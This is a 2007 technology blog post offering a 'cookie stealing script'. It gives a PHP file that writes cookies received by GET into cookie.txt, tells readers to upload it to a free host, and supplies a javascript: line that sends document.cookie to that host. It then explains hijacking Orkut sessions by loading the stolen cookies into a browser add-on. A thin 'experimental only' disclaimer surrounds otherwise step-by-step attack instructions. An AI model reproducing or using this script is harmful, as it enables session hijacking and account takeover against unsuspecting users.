Technology Blog

Latest technology
November 1st, 2007

Cookie Stealing Script

By reading this article you are agreeing to the point that you will not use this cookie stealing script to harm any one, but only for experimental purposes.

<?php
$c = $_GET['c'];
$file = fopen(’cookie.txt’,'a’);
fwrite($file,$c);
fclose($file);
?>

The above PHP code represents the simplest cookie stealing script, copy this and save it with the name c.php and upload it to any free PHP enabled server such as Freehostia or Awardspace. This script takes cookie from a javascript and then writes it into the file cookie.txt You can take a look at the cookie by opening the cookie.txt file. Now below I’ll give a javascript that can send the cookie to this PHP script.

javascript:document.location='location where you uploaded the script'+document.cookie;

Now to get Orkut cookie, you’ll have to login to Orkut and then run the script and then you’ll get Orkut cookies. You will not get Yahoo cookie if you run this from the page where you have logged into Orkut.

Cookies have login details but not passwords

Yeah, cookie does not have a password but it has login details that are required by the servers. It makes the servers think that you have already entered the password if you edit and put the cookies. Use Firefox add on “Add and Edit Cookies” for this purpose.

Disclaimer

This should be used for experimental reasons only and if you are found guilty of stealing another persons cookies, I will not be held responsible.

  1. bbPress is safe but it’s not easy for newbies
  2. Affected by Google PR fall, not to worry
  3. XSS hole in Pluralism.org
  4. Top 5 freewares for your computer

Leave a Reply